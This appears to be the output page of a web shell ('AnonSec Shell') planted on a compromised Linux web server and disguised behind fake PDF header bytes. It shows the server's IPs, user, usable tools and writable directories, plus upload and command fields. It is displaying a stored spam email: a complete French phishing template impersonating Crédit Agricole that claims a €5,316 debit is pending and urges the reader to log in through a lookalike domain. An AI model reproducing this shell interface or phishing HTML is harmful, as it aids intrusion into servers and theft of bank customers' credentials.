%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.217.36
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/mail/.spam/cur/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/meir5web/mail/.spam/cur/1765482385.M418447P1594791.server.tobedev.com,S=8523,W=8653:2,a
Return-Path: <service.client@credit.agricole.sa.fr>
Delivered-To: meir5web+spam@server.tobedev.com
Received: from server.tobedev.com
	by server.tobedev.com with LMTP
	id utT7F5EfO2mnVRgAkQZavg
	(envelope-from <service.client@credit.agricole.sa.fr>)
	for <meir5web+spam@server.tobedev.com>; Thu, 11 Dec 2025 19:46:25 +0000
Return-path: <service.client@credit.agricole.sa.fr>
Envelope-to: contact@meirpanim.fr
Delivery-date: Thu, 11 Dec 2025 19:46:25 +0000
Received: from 196.30.187.35.bc.googleusercontent.com ([35.187.30.196]:34088 helo=cs-467308272555-default.europe-west1-b.c.m76c8cac3f3880018-tp.internal)
	by server.tobedev.com with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.99)
	(envelope-from <service.client@credit.agricole.sa.fr>)
	id 1vTmcE-00000006gnk-3RkS
	for contact@meirpanim.fr;
	Thu, 11 Dec 2025 19:46:24 +0000
Received: from cs-467308272555-default (localhost [127.0.0.1])
	by cs-467308272555-default.europe-west1-b.c.m76c8cac3f3880018-tp.internal (Postfix) with ESMTP id EE7D7CFCDF
	for <contact@meirpanim.fr>; Thu, 11 Dec 2025 19:27:05 +0000 (UTC)
Date: Thu, 11 Dec 2025 19:27:05 +0000
To: contact@meirpanim.fr
From: =?utf-8?Q?Cr=C3=A9dit=2EAgricole?= <service.client@credit.agricole.sa.fr>
Reply-To: =?utf-8?Q?Direction_R=C3=A9gionale?= <crédit.agricole@yopmail.com>
Message-ID: <XMX51kkPFwklFzLkne4EGUoZeM6f4wYzCK1HNtaNbs@cs-467308272555-default>
X-Mailer: PHPMailer 7.0.1 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Spam-Status: Yes, score=19.3
X-Spam-Score: 193
X-Spam-Bar: +++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "server.tobedev.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Bonjour, Nous vous informons qu'un pr_l_vement d'un montant
    de 5 316 _ est actuellement en cours de traitement sur votre compte. 
 Content analysis details:   (19.3 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  3.6 RCVD_IN_SBL_CSS        RBL: Received via a relay in Spamhaus SBL-CSS
                             [35.187.30.196 listed in zen.spamhaus.org]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [35.187.30.196 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [35.187.30.196 listed in bl.score.senderscore.com]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: 1000logos.net]
                             [URI: caisse-regionale-info.com]
  0.0 RCVD_IN_MSPIKE_H2      RBL: Average reputation (+2)
                             [35.187.30.196 listed in wl.mailspike.net]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [35.187.30.196 listed in sa-accredit.habeas.com]
  5.0 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URI: relationclient.caisse-regionale-info.com]
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 TVD_RCVD_IP            Message was received from an IP address
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  2.6 RDNS_DYNAMIC           Delivered to internal network by host with
                             dynamic-looking rDNS
  0.6 HTML_MIME_NO_HTML_TAG  HTML-only message, but there is no HTML tag
  1.8 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From
X-Spam-Flag: YES
Subject:  ***SPAM***  =?utf-8?Q?Merci_de_confirmer_ou_d=E2=80=99annuler_le_pr=C3=A9l=C3=A8vement_actuellement_en_traitement?=

<table border="0" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="vertical-align: top; background-color: #ffffff; padding: 0px;" align="center">
<table style="min-width: 480px;" border="0" width="480" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="vertical-align: top; min-width: 480px; padding: 0px;" align="left"><!-- Logo centré --> <img style="height: auto; max-width: 133px; display: block; margin: 20px auto;" src="https://1000logos.net/wp-content/uploads/2021/05/Credit-Agricole-logo-768x432.png" alt="Cr&eacute;dit Agricole" width="133" />
<table style="height: 261px; background-color: #ffffff;" border="0" width="480" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr style="height: 5px;">
<td style="height: 12px; width: 477.333px; vertical-align: top;" align="left">&nbsp;</td>
</tr>
<tr style="height: 206px;">
<td style="font-size: 13px; border-top: 1px solid #e6e6e6; height: 206px; font-family: Arial, Helvetica, sans-serif; width: 437.333px; vertical-align: top; color: #000000; padding-top: 20px; padding-left: 20px; padding-right: 20px;" align="left">
<p>Bonjour,&nbsp;<br /><br />Nous vous informons qu'un pr&eacute;l&egrave;vement d'un montant de <strong><span class="amount">5&nbsp;316 &euro;</span></strong> est actuellement en cours de traitement sur votre compte.</p>
<div class="notice" role="alert"><strong>Si vous n'&ecirc;tes pas &agrave; l'origine de cette op&eacute;ration, c</strong>onnectez-vous imm&eacute;diatement &agrave; votre espace client&nbsp;afin de v&eacute;rifier et, si n&eacute;cessaire, contester ou annuler le pr&eacute;l&egrave;vement.<br /><br /></div>
<!-- Bouton petit, bien présentable -->
<table style="width: 207px; font-family: 'Open Sans', Roboto, ui-sans-serif, 'Segoe UI', Arial, -apple-system, sans-serif; margin: 0px auto; height: 26px;" role="presentation" cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 31px;">
<td style="background-color: #007461; border: 1px solid #007461; border-radius: 9999px; text-align: center; height: 31px; width: 204.333px;"><a style="display: inline-block; padding: 8px 14px; font-size: 12px; font-family: 'Open Sans', Arial, sans-serif; color: #ffffff; text-decoration: none; border-radius: 9999px;" href="https://relationclient.caisse-regionale-info.com" target="_blank" rel="noopener">Acc&eacute;der &agrave; mon Espace Cleint</a></td>
</tr>
</tbody>
</table>
<br />
<p data-start="1290" data-end="1422">Nous restons &agrave; votre disposition si vous avez besoin d&rsquo;accompagnement pour cette mise &agrave; jour.</p>
<p data-start="1196" data-end="1262">Merci de votre confiance,<br data-start="1449" data-end="1452" /><strong>Votre conseiller Cr&eacute;dit Agricole</strong>.</p>
</td>
</tr>
<tr style="height: 48px;">
<td style="font-size: 12px; height: 43px; font-family: Arial, Helvetica, sans-serif; width: 417.333px; vertical-align: top; color: #000000; background-color: #ededed; padding: 20px 30px 23px; text-align: center;" align="left"><span id="p28"><span id="31">&copy; Cr&eacute;dit Agricole 2025</span></span><br />Les informations que vous fournissez nous permettent de mieux vous conna&icirc;tre et ainsi mieux vous conseiller. Ces donn&eacute;es sont strictement confidentielles et ne sont en aucun cas partag&eacute;es.</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>

Anon7 - 2022
AnonSec Team